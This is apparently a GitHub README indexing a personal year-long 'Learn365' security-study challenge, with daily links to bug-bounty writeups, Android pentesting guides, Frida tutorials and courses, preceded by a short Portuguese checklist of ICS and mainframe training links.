## "Hero" - 7 materiais
- Tecnologias de plataforma industrial
- [ ] CISA VLP - 210W-04 Cybersecurity Within IT and ICS Domains (FY21): https://ics-training.inl.gov/learn/course/internal/view/elearning/162/210w-04-cybersecurity-within-it-and-ics-domains-fy21
- [ ] CISA VLP - 210W-10 Mapping IT Defense-In-Depth Security Solutions to ICS - Part I: https://ics-training.inl.gov/learn/course/internal/view/elearning/51/210w-10-mapping-it-defense-in-depth-security-solutions-to-ics-part-i
- [ ] CISA VLP - 210W-11 Mapping IT Defense-In_Depth Security Solutions to ICS - Part II: https://ics-training.inl.gov/learn/course/internal/view/elearning/52/210w-11-mapping-it-defense-indepth-security-solutions-to-ics-part-ii
- [ ] CISA VLP - 210W-09 Attack Methodologies in IT & ICS: https://ics-training.inl.gov/learn/course/internal/view/elearning/58/210w-09-attack-methodologies-in-it-ics
- Tecnologias de plataforma alta (Mainframe)
- [ ] z/OS Introduction: https://www.ibm.com/academic/topic/ibm-z
- [ ] Introduction to the Cobol Language: https://www.ibm.com/academic/topic/ibm-z
- [ ] Linux on IBM Z: https://www.ibm.com/academic/topic/ibm-z
|
# Learn365
This repository contains all the information shared during my Learn 365 Challenge. Learn 365 is a challenge to keep the learning spirit going on and challenge myself to learn something daily for the whole year, it can be anything from infosec to general life. Follow me on Twitter for Regular Updates: [Anubhav Singh](https://twitter.com/AnubhavSingh_). Huge thanks to [Harsh Bothra](https://twitter.com/harshbothra_), from whoam I got motivated to start this Learn365 challenge.
-------
Day | Topic
--- | ---
**1** | [<ul><li>Learn Javascript </li><li> The Tool Box karma v2 and 4-ZERO-3 - Talk </li><li> Finding and exploiting unintended functionality in main web app APIs - Writeup </li><li> Workflow for Javascript Recon</li></ul>](/days/day1.md)
**2** | [<ul><li>Learn Javascript </li><li> Read BugBounty BootCamp - Book </li><li> Learn Python</li></ul>](/days/day2.md)
**3** | [<ul><li>Learn Javascript </li><li> AWS Lambda Command Injection - Writeup </li><li> A tale of zero click account takeover - Writeup</li></ul>](/days/day3.md)
**4** | [<ul><li>Learn CSS </li><li> Learn Python</li></ul>](/days/day4.md)
**5** | [<ul><li>Learn Javascript [Revision]</li></ul>](/days/day5.md)
**6** | [<ul><li>Solved DOM based XSS Labs on Portswigger </li></ul>](/days/day6.md)
**7** | [<ul><li>Solved DOM based XSS Labs on Portswigger </li><li> Learn Python</li></ul>](/days/day7.md)
**8** | [<ul><li>A Cool Account Takeover Vulnerability due to lack of Client Side Validation - WriteUp </li></ul>](/days/day8.md)
**9** | [<ul><li>WebSockets not Bound by SOP and CORS? - WriteUp </li></ul>](/days/day9.md)
**10** | [<ul><li>Unauth Cache Purging - WriteUp </li><li> How I was able to change victim’s password using IDN Homograph Attack - WriteUp</li></ul>](/days/day10.md)
**11** | [<ul><li>Controlling the web message source - Lab </li><li> JavaScript for Hackers - Video </li><li> HACKING postMessage() - Video </li><li> Introduction postmessage vulnerabilities - Writeup </li><li> Postmessage vulnerability demo -Lab</li></ul>](/days/day11.md)
**12** | [<ul><li> A simple Data Exfiltration! Excel magic - Writeup</li></ul>](/days/day12.md)
**13** | [<ul><li> One Token to leak them all : The story of a $8000 NPM_TOKEN - Writeup </li><li> Introduction to GraphQL - GraphQL Exploitation Part1 - Video</li></ul>](/days/day13.md)
**14** | [<ul><li>Finding The Origin IP Behind CDNs - Writeup</li></ul>](/days/day14.md)
**15** | [<ul><li>Hunting postMessage Vulnerabilities - White Paper</li></ul>](/days/day15.md)
**16** | [<ul><li>120 Days of High Frequency Hunting - WriteUp </li><li> Hunting postMessage Vulnerabilities - White Paper</li></ul>](/days/day16.md)
**17** | [<ul><li>How to find new/more domains of a company? - Recon Stuff - Writeup</li></ul>](/days/day17.md)
**18** | [<ul><li>Read BugBounty BootCamp - Book</li></ul>](/days/day18.md)
**19** | [<ul><li>The Tale of a Click leading to RCE - Writeup</li></ul>](/days/day19.md)
**20** | [<ul><li>PostMessage Vulnerabilities - WriteUp</li></ul>](/days/day20.md)
**21** | [<ul><li>DVGA - Damn Vulnerable GraphQL Application Part 2 - Video</li></ul>](/days/day21.md)
**22** | [<ul><li>Chrome DevTools Crash Course - Video</li></ul>](/days/day22.md)
**23** | [<ul><li>Crontab for Linux Admins - Video</li></ul>](/days/day23.md)
**24** | [<ul><li>Template Injection in Action: 2-hour workshop on Template Injection (SSTI) </li><li> Read BugBounty BootCamp - Book</li></ul>](/days/day24.md)
**25** | [<ul><li>Hacking REST APIs: A beginner's guide - Course</li></ul>](/days/day25.md)
**26** | [<ul><li>Read BugBounty BootCamp - Book </li><li> Read zseano's methodology - Book</li></ul>](/days/day26.md)
**27** | [<ul><li>Read zseano's methodology - Book</li></ul>](/days/day27.md)
**28** | [<ul><li>Read zseano's methodology - Book </li><li> Params — Discovering Hidden Treasure in WebApps - Writeup</li></ul>](/days/day28.md)
**29** | [<ul><li>WebSockets and Hacking - Writeup</li></ul>](/days/day29.md)
**30** | [<ul><li>Pentesting API Top 10 - Talk</li></ul>](/days/day30.md)
**31** | [<ul><li>Read BugBounty BootCamp - Book </li><li> Bypassing SSRF Protection to Exfiltrate AWS Metadata from LarkSuite - Writeup</li></ul>](/days/day31.md)
**32** | [<ul><li>Android: Quick History on Smartphones - Video </li><li> Intro to App Development - Video </li><li> Top 25 Browser Extensions for Pentesters and Bugbounty Hunters (2022) - Writeup</li></ul>](/days/day32.md)
**33** | [<ul><li> Intro to Android Architecture and Security - Video </li><li> What is an Android Operating System & Its Features - Writeup </li><li> Android Internals 101: How Android OS Starts You Application - Writeup </li><li> Android Security Part 1- Understanding Android Basics - Writeup</li></ul>](/days/day33.md)
**34** | [<ul><li>Mobile Application Penetration Testing - TCM Course</li></ul>](/days/day34.md)
**35** | [<ul><li>Read BugBounty BootCamp - Book</li></ul>](/days/day35.md)
**36** | [<ul><li> Solved 1-10 Challenges of InjuredAndroid </li><li> Recon methodology of @GodfatherOrwa - Video</li></ul>](/days/day36.md)
**37** | [<ul><li>Read BugBounty BootCamp - Book</li></ul>](/days/day37.md)
**38** | [<ul><li>1,2 Exercises: Android App Reverse Engineering 101</li></ul>](/days/day38.md)
**39** | [<ul><li>3,4 Exercises: Android App Reverse Engineering 101</li></ul>](/days/day39.md)
**40** | [<ul><li>Android App Reverse Engineering LIVE! Part 1 - Workshop </li></ul>](/days/day40.md)
**41** | [<ul><li>Android Architecture + Static Analysis with apktool + gf + jadx </li><li> Insecure Logging & Storage + Setup Genymotion & pidcat </li></ul>](/days/day41.md)
**42** | [<ul><li>Troubleshooting connection between WSL and android emulator </li></ul>](/days/day42.md)
**43** | [<ul><li>Mobexler : A Mobile Application Penetration Testing Platform - Video </li></ul>](/days/day43.md)
**44** | [<ul><li>Android Pentesting Lab Setup - Writeup </li></ul>](/days/day44.md)
**45** | [<ul><li>Hacking Android Deeplink Issues and Insecure URL Validation - Video </li></ul>](/days/day45.md)
**46** | [<ul><li>SINGLE-SIGN-ON SECURITY ISSUES : BugBounty BootCamp - Book </li></ul>](/days/day46.md)
**47** | [<ul><li>Solved Flag 12 & 13 of Injured Android</li></ul>](/days/day47.md)
**48** | [<ul><li> Android SSL Pinning Bypass for Bug Bounties & Penetration Testing - Video </li><li> SSL Pinning in Android Part 1 - Writeup </li><li> SSL Pinning in Android Part 2 - Writeup </li><li> What is Android Rooting? - Writeup </li><li> Four Ways to Bypass Android SSL Verification and Certificate Pinning - Writeup</li></ul>](/days/day48.md)
**49** | [<ul><li> Bypassing OkHttp Certificate Pinning - Writeup </li><li> Disabling SSL Pinning in Android Apps using Frida / Objection - Writeup </li><li> How To Bypass Apps Root Detection In Android - Writeup </li><li> Bug Bounty on Android : setup your Genymotion environment for APK analysis - Writeup</li></ul>](/days/day49.md)
**50** | [<ul><li> The Ultimate Guide to Android SSL Pinning Bypass - Guide </li></ul>](/days/day50.md)
**51** | [<ul><li> OAuth terminologies and flows explained - Video </li><li> OAuth 2.0 Hacking Simplified — Part 1 — Understanding Basics - Writeup </li><li> OAuth 2.0 Hacking Simplified — Part 2 — Vulnerabilities and Mitigation - Writeup </li></ul>](/days/day51.md)
**52** | [<ul><li> Bug Bounty — Bypassing Endpoints - Writeup </li></ul>](/days/day52.md)
**53** | [<ul><li> How I made 25000 USD in bug bounties with reverse proxy - Writeup </li></ul>](/days/day53.md)
**54** | [<ul><li> Intercepting Android Emulator SSL traffic with burp using magisk - Writeup </li></ul>](/days/day54.md)
**55** | [<ul><li> Subdomains Tools Review: a full and detailed comparison of subdomain enumeration tools - Writeup </li></ul>](/days/day55.md)
**56** | [<ul><li>Lab: Authentication bypass via OAuth implicit flow </li></ul>](/days/day56.md)
**57** | [<ul><li>Web Authentication and Authorization Zine - Zine </li></ul>](/days/day57.md)
**58** | [<ul><li>Forced OAuth profile linking - Lab </li><li> OAuth account hijacking via redirect_uri - Lab</li><li> Stealing OAuth access tokens via an open redirect - Lab</li></ul>](/days/day58.md)
**59** | [<ul><li>ANDROID APP SECURITY BASICS (Static analysis - Part 1) - Video </li></ul>](/days/day59.md)
**60** | [<ul><li>HACKING ANDROID WebViews (Static analysis - Part 2) - Video </li><li> Getting Started with Android Application Security - Writeup </li><li>Android Pentest: Automated Analysis using MobSF - Writeup</li><li>Static Analysis of Android Application & Tools Used - Writeup</li><li>Complete Android Pentesting Guide - Writeup </li></ul>](/days/day60.md)
**61** | [<ul><li>Android App Security & Testing - Writeup</li><li> Exploiting Android activity android:exported="true" - Writeup </li><li> Exploiting Activity in medium android app - Writeup </li></ul>](/days/day61.md)
**62** | [<ul><li> Android Penetration Testing: Drozer - Writeup</li></ul>](/days/day62.md)
**63** | [<ul><li> Android Pentest: Deep Link Exploitation - Writeup</li></ul>](/days/day63.md)
**64** | [<ul><li> Android Applications Pentesting (Static Analysis) - HackTricks</li></ul>](/days/day64.md)
**65** | [<ul><li> OAuth Sign Up AND Log In (1-6 Slides) - Slides</li></ul>](/days/day65.md)
**66** | [<ul><li> Authentication bypass due to weak verification of SAML Token - Writeup</li></ul>](/days/day66.md)
**67** | [<ul><li>Bypassing Google Authentication on Periscope's Administration Panel - Writeup</li></ul>](/days/day67.md)
**68** | [<ul><li> Burp Bounty v2 Documentation </li><li> Architect: Major Design Decisions - OAuth </li><li> Classic Web Application: Authorization Code Grant Flow - OAuth</li></ul>](/days/day68.md)
**69** | [<ul><li>Authorizationcode_tester - Tester: Exploit Mistakes</li></ul>](/days/day69.md)
**70** | [<ul><li>Pwning a Server using Markdown - Writeup</li></ul>](/days/day70.md)
**71** | [<ul><li>Critical XSS in chrome extension - Writeup</li></ul>](/days/day71.md)
**72** | [<ul><li>Penetrate the Protected Component in Android Part 1 - Writeup</li></ul>](/days/day72.md)
**73** | [<ul><li>Penetrate the Protected Component in Android Part 2 - Writeup</li></ul>](/days/day73.md)
**74** | [<ul><li>From Recon via Censys and DNSdumpster, to Getting P1 by Login Using Weak Password - Writeup</li></ul>](/days/day74.md)
**75** | [<ul><li>How Tapjacking Made a Return with Android Marshmallow and Nobody Noticed - Writeup</li></ul>](/days/day75.md)
**76** | [<ul><li>How I was able to find 50+ Cross-site scripting (XSS) Security Vulnerabilities on Bugcrowd Public Program? - Writeup</li></ul>](/days/day76.md)
**77** | [<ul><li>Android Development (1:45 Hrs) - Video</li></ul>](/days/day77.md)
**78** | [<ul><li>Android Development: Java Refresher - Video</li></ul>](/days/day78.md)
**79** | [<ul><li>Android Development: Activities & Layouts - Video</li></ul>](/days/day79.md)
**80** | [<ul><li>Android Development: MultiScreen Apps - Video</li></ul>](/days/day80.md)
**81** | [<ul><li>How I Found multiple SQL Injection with FFUF and Sqlmap in a few minutes - Writeup</li></ul>](/days/day81.md)
**82** | [<ul><li>From XSS to RCE (dompdf 0day) - Writeup</li></ul>](/days/day82.md)
**83** | [<ul><li>A Detailed Guide on httpx - Writeup</li></ul>](/days/day83.md)
**84** | [<ul><li>Chapter 24 API Hacking : BugBounty BootCamp - Book</li></ul>](/days/day84.md)
**85** | [<ul><li>Preparing for API Security Testing : Hacking APIs - Book</li></ul>](/days/day85.md)
**86** | [<ul><li>How web applications work : Hacking APIs - Book</li></ul>](/days/day86.md)
**87 - 90** | [<ul><li>The Anatomy of Web APIs : Hacking APIs - Book</li></ul>](/days/day87.md)
**91** | [<ul><li>DIVA Android App: Walkthrough - Writeup</li></ul>](/days/day91.md)
**92** | [<ul><li>The Anatomy of Web APIs : Hacking APIs - Book</li></ul>](/days/day92.md)
**93** | [<ul><li>Android Penetration Testing: Frida - Writeup</li></ul>](/days/day93.md)
**94** | [<ul><li>Diva apk analysis - Writeup</li></ul>](/days/day94.md)
**95** | [<ul><li>API Authentication: Hacking APIs - Book</li></ul>](/days/day95.md)
**96** | [<ul><li>Watch out the links : Account takeover! - Writeup</li></ul>](/days/day96.md)
**97** | [<ul><li> 10 things you must do when Pentesting Android Applications - Writeup </li><li> Dumping Android application memory with fridump - Writeup </li><li> Mobile Risks: M1 – Improper platform usage - Writeup</li><li> Mobile Risks: M2 – Insecure data storage - Writeup</li><li> Mobile Risks: M3 – Insecure communication - Writeup </li><li> Understanding the OWASP Mobile Top 10 Security Risks: Part Two (M4-M7) - Writeup </li><li> Understanding the OWASP Mobile Top 10 Security Risks: Part Three (M8-M10) - Writeup </li></ul>](/days/day97.md)
**98** | [<ul><li>Vulnerable Android Broadcast Receivers - Writeup</li></ul>](/days/day98.md)
**99** | [<ul><li>API Insecurities Hacking APIs - Book</li></ul>](/days/day99.md)
**100** | [<ul><li>How a YouTube Video lead to pwning a web application via SQL Injection worth $4324 bounty - Writeup</li></ul>](/days/day100.md)
**101** | [<ul><li>Open Android Security Assessment Methodology - Repo</li></ul>](/days/day101.md)
**102** | [<ul><li>API Insecurities Hacking APIs (page 72 - 81) - Book</li></ul>](/days/day102.md)
**103** | [<ul><li>API Insecurities Hacking APIs (page 84 - 96) - Book</li></ul>](/days/day103.md)
**104** | [<ul><li>How I made $10K in bug bounties from GitHub secret leaks - Writeup</li></ul>](/days/day104.md)
**105** | [<ul><li>Android: How to Bypass Root Check and Certificate Pinning - Writeup </li><li> Comparison of Different Android Root-Detection Bypass Tools - Writeup </li></ul>](/days/day105.md)
**106** | [<ul><li>Bypassing a WAF by Finding the Origin IP - Video</li></ul>](/days/day106.md)
**107** | [<ul><li>Inspecting Android Traffic using Proxyman + apk-mitm - Writeup</li></ul>](/days/day107.md)
**108** | [<ul><li>NoSQL Injection in Plain Sight - Writeup</li></ul>](/days/day108.md)
**109** | [<ul><li>Configuring an out-of-band callback listener and notification service in under 10 minutes using AWS Lambda function URLs and Discord webhooks - Writeup</li></ul>](/days/day109.md)
**110** | [<ul><li>Supplemental Tools : Hacking APIs - Book</li></ul>](/days/day110.md)
**111** | [<ul><li>Android Root Detection Bypass Using Objection and Frida Scripts - Writeup</li></ul>](/days/day111.md)
**112** | [<ul><li>Configuring Frida with BurpSuite and Genymotion to bypass Android SSL Pinning - Writeup</li></ul>](/days/day112.md)
**113** | [<ul><li>Find new domains of a company using SSL Certificates - Bug Bounty Recon - Writeup</li></ul>](/days/day113.md)
**114** | [<ul><li>Exploiting Android Fingerprint Authentication - Writeup</li></ul>](/days/day114.md)
**115** | [<ul><li>Testing-Local-Authentication - Owasp Guide </li></ul>](/days/day115.md)
**116** | [<ul><li>Bypass of Biometrics & Password Security Functionality For android - Writeup </li></ul>](/days/day116.md)
**117** | [<ul><li>Creating Code for Bypassing Android Security Checks: Frida - Video </li></ul>](/days/day117.md)
**118** | [<ul><li>Sharpening your FRIDA scripting skills with Frida Tool - Writeup </li></ul>](/days/day118.md)
**119** | [<ul><li>Hacking Android Apps with Frida - Video </li></ul>](/days/day119.md)
**120** | [<ul><li>ATO without any interaction : aws cognito misconfiguration - Writeup </li></ul>](/days/day120.md)
**121** | [<ul><li>NahamCon CTF 2022 Write-up: Click Me! Android challenge - Writeup </li></ul>](/days/day121.md)
**122** | [<ul><li>Android Application Security [chapter 0x1] - Introduction to Frida - Writeup </li></ul>](/days/day122.md)
**123** | [<ul><li>Getting started with Frida on Android Apps - Writeup </li></ul>](/days/day123.md)
**124** | [<ul><li>Exploration of Native Modules on Android with Frida - Writeup </li></ul>](/days/day124.md)
**125** | [<ul><li>How to exploit GraphQL endpoint: introspection, query, mutations & tools - Writeup </li></ul>](/days/day125.md)
**126** | [<ul><li>DVGA Batch Query Attack GraphQL Exploitation : Part 3 DVGA - Video </li></ul>](/days/day126.md)
**127** | [<ul><li>The $16,000 Dev Mistake - Writeup </li></ul>](/days/day127.md)
**128** | [<ul><li>FirstBlood : HackEvent BugBountyHunter.com - Reports </li></ul>](/days/day128.md)
**129** | [<ul><li>Exploring Native Functions with Frida on Android - Writeup </li></ul>](/days/day129.md)
**130** | [<ul><li>Add JNI(C/C++) into your existing Android app - Writeup </li></ul>](/days/day130.md)
**131** | [<ul><li>Demystifying Frida - Video </li></ul>](/days/day131.md)
**132** | [<ul><li>How to hook Android Native methods with Frida (Noob Friendly) - Writeup </li></ul>](/days/day132.md)
**133** | [<ul><li>Instrumenting Native Android Functions using Frida - Writeup </li></ul>](/days/day133.md)
**134** | [<ul><li>Forging OAuth tokens using discovered client id and client secret - Writeup </li></ul>](/days/day134.md)
**135** | [<ul><li>Getting started with Android NDK: Android Tutorial - Writeup </li></ul>](/days/day135.md)
**136** | [<ul><li>Can analyzing javascript files lead to remote code execution? - Writeup</li></ul>](/days/day136.md)
**137** | [<ul><li>XML External Entity (XXE) : The Ultimate Guide - Writeup </li></ul>](/days/day137.md)
**138** | [<ul><li>Bug Bounty Redacted #3: Hacking APIs & XSS, SQLi, WAF Bypass in a regional web application - Video </li></ul>](/days/day138.md)
**139** | [<ul><li>PHP Command Injection ->Time Based SQL $2000 bounty - Writeup</li></ul>](/days/day139.md)
**140** | [<ul><li>How Did I Leak 5.2k Customer Data From a Large Company? (via Broken Access Control) - Writeup </li></ul>](/days/day140.md)
**141** | [<ul><li>My Bug Bounty Adventure (Fuzzing + Information Disclosure) - Writeup </li></ul>](/days/day141.md)
**142** | [<ul><li>Exploiting CRLF Injection can lands into a nice bounty - Writeup </li></ul>](/days/day142.md)
**143** | [<ul><li>PayPal IDOR via billing Agreement Token (closed Informative, payment fraud) - Writeup </li></ul>](/days/day143.md)
**144** | [<ul><li>How I Hacked NASA to execute arbitrary commands in their server! - Writeup </li></ul>](/days/day144.md)
**145** | [<ul><li>SQL injection through HTTP headers - Writeup </li></ul>](/days/day145.md)
**146** | [<ul><li>Automate your recon With Censys HOW Pro hacker use Censys - Writeup </li></ul>](/days/day146.md)
**147** | [<ul><li>How I Found a company’s internal S3 Bucket with 41k Files - Writeup </li></ul>](/days/day147.md)
**148** | [<ul><li>Bypassing File Upload Restriction using Magic Bytes - Writeup </li></ul>](/days/day148.md)
**149** | [<ul><li>Story about more than 3.5 million PII leakage in Yahoo!!! (Using an IOS) - Writeup </li></ul>](/days/day149.md)
**150** | [<ul><li>How to find & access Admin Panel by digging into JS files - Writeup </li></ul>](/days/day150.md)
**151** | [<ul><li>Solved Lame Box - HTB </li></ul>](/days/day151.md)
**152** | [<ul><li>Understanding And Identifying Insecure Deserialization - Writeup </li></ul>](/days/day152.md)
**153** | [<ul><li>Dependency Confusion : A Supply Chain Attack - Writeup </li></ul>](/days/day153.md)
**154** | [<ul><li>Solved Lame Box - HTB</li></ul>]()
**155** | [<ul><li>This is why you shouldn’t trust your Federated Identity Provider - Writeup </li></ul>](https://medium.com/@soufianehabti/this-is-why-you-shouldnt-trust-your-federated-identity-provider-62160f50d8b2)
**156** | [<ul><li>If It’s a Feature!!! Let’s Abuse It for $750 - Writeup</li></ul>](https://medium.com/@shakti.gtp/if-its-a-feature-let-s-abuse-it-for-750-19cfb9848d4b)
**157** | [<ul><li>Business Logic Errors - Art of Testing Cards - Writeup</li></ul>](https://shahjerry33.medium.com/business-logic-errors-art-of-testing-cards-4907cfb46a57)
**158** | [<ul><li>Hacking Nginx: Best ways - Writeup</li></ul>](https://infosecwriteups.com/hacking-nginx-best-ways-7c576cc17ccc)
**159** | [<ul><li>Frida hooking android part 1 - Writeup</li></ul>](https://11x256.github.io/Frida-hooking-android-part-1/)
**160** | [<ul><li>Frida hooking android part 2 - Writeup</li></ul>](https://11x256.github.io/Frida-hooking-android-part-2/)
**161** | [<ul><li>Frida hooking android part 3 - Writeup</li></ul>](https://11x256.github.io/Frida-hooking-android-part-3/)
**162** | [<ul><li>Frida hooking android part 4 - Writeup</li></ul>](https://11x256.github.io/Frida-hooking-android-part-4/)
**163** | [<ul><li>Frida hooking android part 5: Bypassing AES encryption - Writeup</li></ul>](https://11x256.github.io/Frida-hooking-android-part-5/)
**164** | [<ul><li>Exploiting esoteric android vulnerability - Workshop by Sharan & Sanjay at BSides Ahmedabad 2021 - Video</li></ul>](https://www.youtube.com/watch?v=nr4I1aXii-w)
**165** | [<ul><li>Andromeda- GUI based Dynamic Instrumentation Toolkit powered by Frida - Shivang Desai - Video</li></ul>](https://www.youtube.com/watch?v=qOEaA2CNNmU)
**166** | [<ul><li>How I found a Critical Bug in Instagram and Got 49500$ Bounty From Facebook - Writeup</li></ul>](https://infosecwriteups.com/how-i-found-a-critical-bug-in-instagram-and-got-49500-bounty-from-facebook-626ff2c6a853)
**167** | [<ul><li>Hacking into WordPress themes for CVEs and Fun - Writeup</li></ul>](https://medium.com/pentesternepal/hacking-into-wordpress-themes-for-cves-and-fun-bdde6c834344)
**168** | [<ul><li>Bug Bounty Redacted #4: Writing to S3 buckets & Insecure JWT Implementation - Writeup</li></ul>](https://www.youtube.com/watch?v=F7QvhHJB-ck)
**169 - 177** | [<ul><li>Android development - Video</li></ul>](https://www.youtube.com/playlist?list=PLjVLYmrlmjGdDps6HAwOOVoAtBPAgIOXL)
**178 - 183** | [<ul><li>Linux 101 - Course</li></ul>](https://academy.tcm-sec.com/p/linux-101)
**184 - 189** | [<ul><li>Linux Privilege Escalation for Beginners - Course</li></ul>](https://academy.tcm-sec.com/p/linux-privilege-escalation)
190 | [<ul><li>Admin account takeover via weird Password Reset Functionality - Writeup</li></ul>](https://0xmahmoudjo0.medium.com/admin-account-takeover-via-weird-password-reset-functionality-166ce90b1e58)
191 | [<ul><li>Access control worth $2000 : everyone missed this IDOR+Access control between two admins - Writeup</li></ul>](https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21)
192 | [<ul><li>How I was able edit target website’s AWS files from the file upload function? - Writeup</li></ul>](https://infosecwriteups.com/bug-bounty-how-i-was-able-edit-awss-files-from-file-upload-function-cb33bc3bd3a9)
193 | [<ul><li>XXE in Public Transport Ticketing Mobile APP - Writeup</li></ul>](https://infosecwriteups.com/xxe-in-public-transport-ticketing-mobile-app-81ae245c01a1)
194 | [<ul><li>RCE IN EC2 INSTANCE VIA SSH WITH PRIVATE KEY EXPOSED ON PUBLIC GITHUB REPOSITORY – $XX,000 USD - Writeup</li></ul>](https://omespino.com/write-up-private-bug-bounty-rce-in-ec2-instance-via-ssh-with-private-key-exposed-on-public-github-repository-xx000-usd/)
195 | [<ul><li>How I was able to Regain access to account deleted by Admin leading to $$$ - Writeup</li></ul>](https://rajeshranjan457.medium.com/how-i-was-able-to-regain-access-to-account-deleted-by-admin-leading-to-a2c29025f8cd)
196 | [<ul><li>OAuth Misconfiguration Leads To Pre-Account Takeover - Writeup</li></ul>](https://infosecwriteups.com/oauth-misconfiguration-leads-to-pre-account-takeover-8f94c1ef50be)
197 | [<ul><li>How to find Origin IP - Writeup</li></ul>](https://medium.com/@bobby.S/how-to-find-origin-ip-1f684f459942)
198 | [<ul><li>PII Disclosure of Apple Users ($10k) - Writeup</li></ul>](https://ahmdhalabi.medium.com/pii-disclosure-of-apple-users-10k-d1e3d29bae36)
199 | [<ul><li>Android and Java API : Frida - Documentation</li></ul>](https://learnfrida.info/#android-and-java-api)
200 | [<ul><li>Behind the Bug: Password reset poisoning - Writeup </li></ul>](https://noob3xploiter.medium.com/behind-the-bug-password-reset-poisoning-f5a51d890260)
201 | [<ul><li>Websocket Hijacking to steal Session_ID of victim user - Writeup </li></ul>](https://infosecwriteups.com/websocket-hijacking-to-steal-session-id-of-victim-users-bca84243830)
202 | [<ul><li>How to use Burp Suite Like a PRO? PART – 1 - Writeup </li></ul>](https://www.pethuraj.com/blog/use-burpsuite-like-a-pro-part-1/)
203 | [<ul><li>Ultimate Tips And Tricks To Find More Cross-Site Scripting Vulnerabilities - Writeup </li></ul>](https://bxmbn.medium.com/ultimate-tips-and-tricks-to-find-more-cross-site-scripting-vulnerabilities-d2913765e2d5)
204 | [<ul><li>Setting iOS App Testing Environment with Burp-suite & Corellium - Writeup </li></ul>](https://medium.com/@prinsharma1999/setting-ios-app-testing-environment-with-burp-suite-corellium-21d6eb82b5ca)
205 | [<ul><li>How I Test For Web Cache Vulnerabilities + Tips And Tricks - Writeup </li></ul>](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
206 | [<ul><li>Information Disclosure to Account Takeover - Writeup </li></ul>](https://sunilyedla.medium.com/information-disclosure-to-account-takeover-a21b2b54147a)
207 | [<ul><li>You MUST sanitize PHP mail() inputs — or else RCE! - Writeup </li></ul>](https://infosecwriteups.com/you-must-sanitize-php-mail-inputs-or-else-rce-7ac7ba906dca)
208 | [<ul><li>Mail Server Misconfiguration leads to sending a fax from anyone’s account on HelloFax (Dropbox BBP) for a bounty of $4,913 - Writeup </li></ul>](https://infosecwriteups.com/mail-server-misconfiguration-leads-to-sending-a-fax-from-anyones-account-on-hellofax-dropbox-bbp-aab3d97ab4e7)
209 | [<ul><li>How to prevent hackers from reverse engineering your Android apps - Writeup </li></ul>](https://proandroiddev.com/how-to-prevent-hackers-from-reverse-engineering-your-android-apps-2981661ab1c2)
210 | [<ul><li>How this team accidentally found a SSRF in Slack exposing AWS credentials! A $4000 bug bounty - Writeup </li></ul>](https://infosecwriteups.com/how-this-team-accidentally-found-a-ssrf-in-slack-exposing-aws-credentials-a-4000-bug-bounty-513be19286e)
211 - 212 | [<ul><li>Linux Privilege Escalation - Pentester acacademy bootcamp </li></ul>]()
213 - 214 | [<ul><li>Solve linuxprivesc Room - Tryhackme </li></ul>](https://tryhackme.com/room/linuxprivesc)
215 - 217 | [<ul><li>Frida Scripting Guide for Java - Writeup </li></ul>](https://cmrodriguez.me/blog/frida-scripting-guide/)
218| [<ul><li>Exploring Native Functions with Frida on Android : part 3 - Writeup </li></ul>](https://mobsecguys.medium.com/exploring-native-functions-with-frida-on-android-part-3-45422ae18caa)
219 | [<ul><li>Exploring Native Functions with Frida on Android : part 4 - Writeup </li></ul>](https://medium.com/swlh/exploring-native-functions-with-frida-on-android-part-4-22db2c247e29)
220 | [<ul><li>Stored XSS to Account Takeover : Going beyond document.cookie : Stealing Session Data from IndexedDB - Writeup </li></ul>](https://infosecwriteups.com/stored-xss-to-account-takeover-going-beyond-document-cookie-970e42362f43)
221 | [<ul><li>SQL Injection filter bypass to perform blind SQL Injection - Writeup </li></ul>](http://www.mannulinux.org/2020/09/sql-injection-filter-bypass-to-perform.html)
222 | [<ul><li>Abusing URL Shortners for fun and profit - Writeup </li></ul>](https://infosecwriteups.com/abusing-url-shortners-for-fun-and-profit-c83c67713916 )
223 | [<ul><li>Android WebView Hacking : Enable WebView Debugging - Writeup </li></ul>](https://infosecwriteups.com/android-webview-hacking-enable-webview-debugging-d292b53f7a63)
224 | [<ul><li>Defeat the HttpOnly flag to achieve Account Takeover : RXSS - Writeup </li></ul>](https://medium.com/@mohamedtarekq/defeat-the-httponly-flag-to-achieve-account-takeover-rxss-c16849d3d192)
225 -230 | [<ul><li>Android App Hacking - Black Belt Edition - Udemy Course </li></ul>](https://www.udemy.com/course/android-app-hacking-black-belt-edition/)
231 | [<ul><li>Solving CTF with Frida : Part 1 - Writeup </li></ul>](https://cmrodriguez.me/blog/hpandro-1/)
232 | [<ul><li>Solving CTF with Frida : Part 2 - Writeup </li></ul>](https://cmrodriguez.me/blog/hpandro-2/)
233 | [<ul><li>Solving CTF with Frida : Part 3 - Writeup </li></ul>](https://cmrodriguez.me/blog/hpandro-3/)
234| [<ul><li>Solving CTF with Frida : Part 4 - Writeup </li></ul>](https://cmrodriguez.me/blog/hpandro-4/)
235 - 240 | [<ul><li>Watched Android CTF video from Youtube channel Umar_0x01 - Video </li></ul>](https://www.youtube.com/c/Umar0x01)
241 | [<ul><li>Bypassing ModSecurity for RCEs - Writeup </li></ul>](https://s0md3v.github.io/blog/modsecurity-rce-bypass)
242 | [<ul><li>Bypassing Amazon WAF to pop an alert() - Writeup </li></ul>](https://infosecwriteups.com/bypassing-amazon-waf-to-pop-an-alert-4646ce35554e)
243 | [<ul><li>Exploiting Android’s Task Hijacking - Writeup </li></ul>](https://medium.com/mobis3c/android-task-hijacking-6a3a8848f16e)
244 - 248 | [<ul><li>Windows Privilege Escalation for Beginners - TCM Course</li></ul>](https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners)
249 | [<ul><li>Cool Recon techniques every hacker misses! - Writeup</li></ul>](https://infosecwriteups.com/cool-recon-techniques-every-hacker-misses-1c5e0e294e89)
250 | [<ul><li>Intruder and CSRF-protected form, without macros - Writeup</li></ul>](https://www.agarri.fr/blog/archives/2020/01/13/intruder_and_csrf-protected_form_without_macros/index.html)
251 | [<ul><li>New technique 403 bypass - Writeup</li></ul>](https://infosecwriteups.com/403-bypass-lyncdiscover-microsoft-com-db2778458c33)
252 | [<ul><li>Exploiting XSS with Javascript/JPEG Polyglot - Writeup</li></ul>](https://systemweakness.com/exploiting-xss-with-javascript-jpeg-polyglot-4cff06f8201a)
